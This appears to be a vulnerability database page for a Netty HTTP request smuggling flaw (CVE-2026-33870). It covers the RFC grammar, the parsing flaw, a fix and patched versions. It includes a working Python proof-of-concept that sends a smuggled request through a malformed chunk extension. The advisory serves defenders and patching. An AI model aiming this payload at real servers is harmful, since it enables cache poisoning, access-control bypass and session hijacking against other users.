NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
HIGH severity

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String ParsingGHSA-pwqr-wmgm-9rr8

HIGH

GHSA-pwqr-wmgm-9rr8 is a high-severity (CVSS 7.5) CWE-444 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.

Also known asCVE-2026-33870
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pwqr-wmgm-9rr8.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs53th percentile — riskier than 53% of all scored CVEsHighest risk
0.00%0.40%0.80%1.20%0.0%0.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
☕io.netty:netty-codec-http☕io.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

ParserRequest 1Request 2
Netty (vulnerable)POST / body="X"GET /smuggled (SMUGGLED)
RFC-compliant parser400 Bad Request(none — malformed request rejected)

Impact

  • Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
  • Cache Poisoning: Smuggled responses may poison shared caches.
  • Access Control Bypass: Smuggled requests can circumvent frontend security controls.
  • Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

  1. Start the minimal proof-of-concept environment using the provided Docker configuration.
  2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

Attachments

Vulnerability Diagram

java_netty.zip

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-httpall versions4.1.132.Finalio.netty:netty-codec-http:4.1.132.Final
☕Mavenio.netty:netty-codec-http≥ 4.2.0.Alpha1&&< 4.2.10.Final4.2.10.Finalio.netty:netty-codec-http:4.2.10.Final

Affected Products

1 product · 2 configurations
Application
nettynetty
≥ 4.2.0 && < 4.2.10
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-http to 4.1.132.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pwqr-wmgm-9rr8 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for GHSA-pwqr-wmgm-9rr8 (CC BY 4.0)
ProductFixed inAdvisory
AMQ Clients 2026.Q3netty-codec-httpRHSA-2026:69459
Cryostat 4 on RHEL 9cryostat/cryostat-reports-rhel9:4.2.0-9RHSA-2026:17789
Red Hat AMQ Broker 7.12.7netty-codec-httpRHSA-2026:14276
Red Hat AMQ Broker 7.13.5netty-codec-httpRHSA-2026:14272
Red Hat AMQ Broker 7.14.0netty-codec-httpRHSA-2026:8509
Red Hat Build of Apache Camel 3.27.1.SP1io.netty/netty-codec-http:4.1.128.Final-redhat-00001RHSA-2026:8159
Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14netty-codec-httpRHSA-2026:17668
Red Hat build of Quarkus 3.20.6.redhatio.netty/netty-codec-http:4.1.132.Final-redhat-00001RHSA-2026:7109

Frequently Asked Questions

## Summary Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ## Background This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques: - <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html> The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values. ## Technical Details **RFC 9110 Section 7.1.1** defines chunked trans
O3 Security · Impact-Aware SCA

Is GHSA-pwqr-wmgm-9rr8 in your dependencies?

Find it across Maven, including transitive dependencies.

Netty: HTTP Request Smuggling via Chunked Extension…